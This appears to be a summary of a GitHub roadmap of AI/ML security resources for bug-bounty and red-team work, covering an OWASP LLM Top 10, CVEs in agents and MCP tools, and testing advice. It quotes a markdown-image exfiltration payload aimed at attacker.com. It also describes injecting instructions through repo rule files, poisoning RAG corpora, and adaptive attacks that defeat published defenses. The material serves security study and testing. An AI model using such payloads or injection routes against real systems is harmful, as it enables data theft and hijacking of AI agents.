anmolksachan/AI-ML-Free-Resources-for-Security-and-Prompt-Injection

What it is

A curated reading and lab roadmap for AI/ML security, last updated September 2026. It is a link index with short annotations, not original research. The existing summary cites the OWASP LLM Top 10 2025, but the page treats the 2026 edition as current and the 2025 list as "Legacy". It also covers more than the summary lists: agent skills, agentic browsers, memory poisoning and RAG authorization.

What the page adds

OWASP 2026 LLM Top 10 (published 4 August 2026, per the page): LLM01 Prompt Injection, LLM02 Sensitive Information Disclosure, LLM03 Excessive Agency (up three places), LLM04 Supply Chain, LLM05 Data & Model Poisoning, LLM06 Unbounded Consumption, LLM07 Misinformation, LLM08 Hidden Context Exposure (replaces System Prompt Leakage), LLM09 Vector & Embedding Weaknesses, LLM10 Improper Output Handling. The page says most 2025 to early 2026 tooling and CTFs still map to the 2025 numbering.

Further CVEs beyond the two the summary names:

• CVE-2025-6514: mcp-remote proxy RCE, CVSS 9.6, 437,000+ installs affected.
• CVE-2025-53109 and CVE-2025-53110: "EscapeRoute" filesystem MCP sandbox bypass.
• CVE-2025-59536: Claude Code hook-triggered RCE, CVSS 8.7, patched October 2025.
• CVE-2026-21852: Claude Code API key exfiltration, CVSS 5.3, patched January 2026.
• CVE-2026-25253: RCE in an agent skill runtime, described as the first CVE assigned to an agentic AI system.
• Shelltorch: TorchServe vulnerabilities, CVSS 9.9.

Other catalogs it points to: OWASP Top 10 for Agentic Applications 2026 (ASI01 to ASI10) and an OWASP MCP Top 10 (MCP01 to MCP10).

Triage heuristic

The page recommends Meta's Agents Rule of Two (October 2025). An agent should satisfy no more than two of three properties. On engagements, an agent that meets all three is where to spend time.

flowchart LR
    A[Untrusted inputs] --> D{All three?}
    B[Sensitive data access] --> D
    C[External state change] --> D
    D -->|yes| E[Highest-risk agent]
    D -->|no| F[Blast radius bounded]

What to do

• Test web bug classes first. The page says many paid AI bounty findings are AuthZ, IDOR, SSRF and cache-deception bugs reached through an AI feature. It says markdown-image exfiltration (![](https://attacker.com?q=...)) is still the most consistently paid finding.
• Treat every file in a cloned repo as attacker input. For AI coding assistants, check .cursor/rules, CLAUDE.md, AGENTS.md, .github/copilot-instructions.md, repo-controlled hooks and mcp.json.
• Check MCP authorization. Look for token passthrough and missing audience binding. The page notes MCP authorization is optional in the spec.
• For RAG, use the page's checklist:
• Can you get content into the corpus?
• Is document-level ACL enforced at retrieval, not just in the UI?
• Can near-duplicate queries surface another tenant's chunks?
• Is the vector store reachable directly?
• Are ingested documents scanned for injection payloads and invisible Unicode?
• Enumerate inference servers. The list is vLLM, Ollama, llama.cpp, TensorRT-LLM, Triton, TorchServe, Ray and Kubernetes GPU workloads. The page says defaults often ship with no authentication.
• Read bounty scope before submitting. The page says prompt-injection reports sent to programs that exclude them are the most common wasted report in 2026.
• Weigh defense claims against adaptive attacks. Start with CaMeL (arXiv 2503.18813, control/data-flow separation) and "The Attacker Moves Second" (arXiv 2510.09023, adaptive attacks bypass 12 published defenses at over 90%). If you benchmark with AgentDojo, report attack success rate alongside a benign-utility baseline.

Caveats

• Items tagged Unverified are community submissions the maintainers have not validated. These include several arXiv IDs (2601.17548, 2603.21654, 2604.05480). The page says to confirm them before formal citation.
• Statistics such as 92% multi-turn success and over 85% attack success against defenses are quoted from third-party research, not reproduced by the maintainers.
• The page says bounty scopes and payout tables change often and must be re-read on the official pages.
• The roadmap gives no commands of its own. Its value is routing to sources, so each CVE's mechanism has to be read at the linked write-up.